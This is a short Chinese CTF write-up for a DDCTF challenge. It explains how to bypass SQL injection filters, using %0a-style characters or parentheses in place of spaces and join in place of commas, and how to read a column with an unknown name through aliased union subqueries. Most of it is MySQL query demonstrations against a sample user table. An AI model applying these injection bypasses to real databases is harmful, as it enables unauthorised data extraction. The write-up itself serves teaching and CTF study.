前言
本文介绍的是DDCTF第五题，绕过未知字段名的技巧，这里拿本机来操作了下，思路很棒也很清晰，分享给大家，下面来看看详细的介绍：
实现思路
题目过滤空格和逗号，空格使用%0a，%0b，%0c，%0d，%a0，或者直接使用括号都可以绕过，逗号使用join绕过；
存放flag的字段名未知，information_schema.columns也将表名的hex过滤了，即获取不到字段名；这时可以利用联合查询，过程如下：
思想就是获取flag，让其在已知字段名下出现；
示例代码：
mysql> select (select 1)a,(select 2)b,(select 3)c,(select 4)d; +---+---+---+---+ | a | b | c | d | +---+---+---+---+ | 1 | 2 | 3 | 4 | +---+---+---+---+ 1 row in set (0.00 sec) mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d; +---+---+---+---+ | 1 | 2 | 3 | 4 | +---+---+---+---+ | 1 | 2 | 3 | 4 | +---+---+---+---+ 1 row in set (0.00 sec) mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user; +---+-------+----------+-------------+ | 1 | 2 | 3 | 4 | +---+-------+----------+-------------+ | 1 | 2 | 3 | 4 | | 1 | admin | admin888 | 110@110.com | | 2 | test | test123 | 119@119.com | | 3 | cs | cs123 | 120@120.com | +---+-------+----------+-------------+ 4 rows in set (0.01 sec) mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e; +-------------+ | 4 | +-------------+ | 4 | | 110@110.com | | 119@119.com | | 120@120.com | +-------------+ 4 rows in set (0.03 sec) mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e limit 1 offset 3; +-------------+ | 4 | +-------------+ | 120@120.com | +-------------+ 1 row in set (0.01 sec) mysql> select * from user where id=1 union select (select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e limit 1 offset 3)f,(select 1)g,(select 1)h,(select 1)i; +-------------+----------+----------+-------------+ | id | username | password | email | +-------------+----------+----------+-------------+ | 1 | admin | admin888 | 110@110.com | | 120@120.com | 1 | 1 | 1 | +-------------+----------+----------+-------------+ 2 rows in set (0.04 sec)
总结
以上就是这篇文章的全部内容了，希望本文的内容对大家的学习或者工作能带来一定的帮助，如果有疑问大家可以留言交流，谢谢大家对脚本之家的支持。
